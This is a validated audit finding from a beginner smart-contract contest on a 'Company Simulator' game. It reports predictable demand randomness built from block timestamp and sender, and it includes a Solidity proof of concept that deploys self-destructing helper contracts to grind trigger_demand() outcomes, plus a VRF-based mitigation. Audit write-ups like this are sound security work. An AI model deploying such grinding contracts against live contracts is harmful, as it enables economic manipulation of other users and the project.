Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Predictable / Manipulable “Randomness” for demand sizing Description

Root + Impact

Description

Expected behavior: Demand size (number of items requested) must not be manipulable by customers, miners, or contract owners in a way that gives financial advantage.

Actual behavior: Demand size is derived from keccak256(block.timestamp, msg.sender) which is predictable and partially controllable by the caller and by miners.


Explanation:
Because block.timestamp is set by miners and msg.sender is controlled by the caller, an attacker can repeatedly call (or craft a contract) and attempt to influence seed to maximize requested. Miners can also reorder or timestamp blocks to favor larger demands.

// Root cause in the codebase with @> marks to highlight the relevant section
seed: uint256 = convert(
keccak256(
concat(
convert(block.timestamp, bytes32), convert(msg.sender, bytes32)
)
),
uint256,
)
@> base: uint256 = seed % 5 # 0 to 4
@> if (seed % 100) < (rep - 50):
@> extra_item_chance = 1

Risk

Likelihood:

  • High : miners and callers can influence timestamp and msg.sender. On testnets or colluding miners, manipulation is trivial.

Impact:

  • Over-requesting items repeatedly (higher revenue to company) or draining limited inventory in CompanyGame.

Economic manipulation: attacker increases chance of larger orders, potentially gaining advantage (arbitrage, reputation manipulation).

Proof of Concept

blast(n) deploys n helpers; each helper forwards its ETH to trigger_demand() and then self-destructs, returning leftover to the original EOA (via tx.origin).

Keep n small on real networks to avoid gas limits. Use on local/testnet only.

If you want, I can make it even shorter (e.g., single helper deploy function) or add a small withdraw in Attacker.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICustomerEngine { function trigger_demand() external payable; }
/// @notice Minimal PoC: deploy small helper contracts that call trigger_demand() in ctor.
/// Use only on testnets / with permission.
contract Helper {
constructor(address target) payable {
ICustomerEngine(target).trigger_demand{value: msg.value}();
selfdestruct(payable(tx.origin)); // return leftover to tx origin (EOA)
}
}
contract Attacker {
address public immutable target;
constructor(address _target) { target = _target; }
/// @notice Deploy `n` helpers splitting msg.value evenly among them.
/// Each helper calls trigger_demand() once in its constructor.
function blast(uint256 n) external payable {
require(n > 0 && msg.value >= n, "invalid");
uint256 per = msg.value / n;
for (uint256 i = 0; i < n; i++) {
new Helper{value: per}(target);
}
}
}

Recommended Mitigation

Replace on-chain pseudo-randomness with safer approaches or remove randomness:

Option A — Use an oracle (Chainlink VRF) for randomness (recommended for production):

- remove this code
+ add this code
- seed: uint256 = convert(keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))), uint256)
- base: uint256 = seed % 5
+ # Use verifiable randomness (off-chain oracle) or deterministic non-manipulable source
+ # For example: request randomness via Chainlink VRF, then use the returned randomness here
Updates

Lead Judging Commences

0xshaedyw Lead Judge
about 2 months ago
0xshaedyw Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Medium – Predictable Seed

Demand randomness is grindable via timestamp and sender, enabling biased outcomes and reputation manipulation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!